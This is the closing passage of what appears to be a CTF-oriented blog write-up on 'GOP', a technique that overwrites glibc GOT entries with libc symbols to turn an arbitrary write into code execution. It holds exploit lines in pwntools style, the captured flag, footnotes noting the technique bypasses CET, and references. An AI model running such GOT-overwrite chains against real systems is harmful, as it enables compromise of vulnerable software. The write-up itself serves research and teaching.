[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__libc_procutils_read_file[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_strcmp"[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mexplicit_bzero[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_memchr"[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_memset"[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m_exit[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI___strnlen"[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__error_at_line_internal[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_strpbrk"[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__nss_valid_field[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_strchr"[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputenv[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI___strchrnul"[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mp[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'flag{big-goppa}\n'[0m
Clearly this is a very versatile technique!
As I said, you're unlikely to find a modern version of glibc
compiled with partial RELRO in the wild, but hopefully this can
serve as a tool for more contrived situations like CTFs.
I also wanted to mention related works by n132 [2] and pepsipu [3];
although these are not quite the same thing as GOP, they are still
interesting (and perhaps more practical) examples of pivoting an
arbitrary write into code execution.
[^fn:1]: After publishing this I came across a writeup [4] by Thea
"Teddy" Heinen written over two years ago that uses the same
terminology. Credit where credit is due!
[^fn:2]: Although it's a little unclear when full RELRO was
introduced, security-conscious distros like Arch [5] and Fedora [6]
have been building glibc with it since the early 2000s.
[^fn:3]: Although I'm focusing on glibc in this post, GOP can also
be used to attack libraries like libstdc++.
[^fn:4]: Using [40m[35m`puts`[39m[49m instead of
[40m[35m`printf`[39m[49m would also work because it calls
[40m[35m`j___GI_strlen`[39m[49m.
[^fn:5]: This is a [3mmuch[23m more restrictive subset of all
possible GOP gadgets and limiting your options like this isn't
really necessary in practice, but I wanted to demonstrate that CET
[7] cannot defend against this attack.
References:
(HTM) [1] glibc < 2.39
(HTM) [2] n132
(HTM) [3] pepsipu
(HTM) [4] writeup
(HTM) [5] Arch
(HTM) [6] Fedora
(HTM) [7] CET
>=================================================================<
(DIR) Blog
(DIR) Writeups
(DIR) jp
copyright 2026 George Huebner
(HTM) email